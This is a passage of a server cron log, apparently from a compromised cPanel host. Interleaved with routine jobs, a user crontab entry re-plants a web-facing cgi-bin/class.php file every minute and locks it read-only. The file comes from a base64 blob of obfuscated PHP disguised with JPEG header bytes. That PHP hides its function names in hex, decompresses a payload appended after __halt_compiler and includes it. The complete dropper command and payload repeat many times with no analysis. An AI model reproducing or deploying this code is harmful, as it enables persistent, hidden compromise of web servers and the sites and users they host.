R4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:42:01 server CROND[6892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:42:01 server CROND[6893]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 12:43:01 server CROND[6955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:44:01 server CROND[7009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:45:01 server CROND[7170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:45:01 server CROND[7171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:45:01 server CROND[7172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:46:01 server CROND[7279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:47:01 server CROND[7357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:48:01 server CROND[7412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:49:01 server CROND[7471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:50:01 server CROND[7675]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 12:50:01 server CROND[7676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 12:50:01 server CROND[7678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 12:50:01 server CROND[7677]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 12:50:01 server CROND[7681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:51:01 server CROND[7791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:52:01 server CROND[7841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:53:01 server CROND[7901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:54:01 server CROND[7975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 12:55:01 server CROND[8130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JH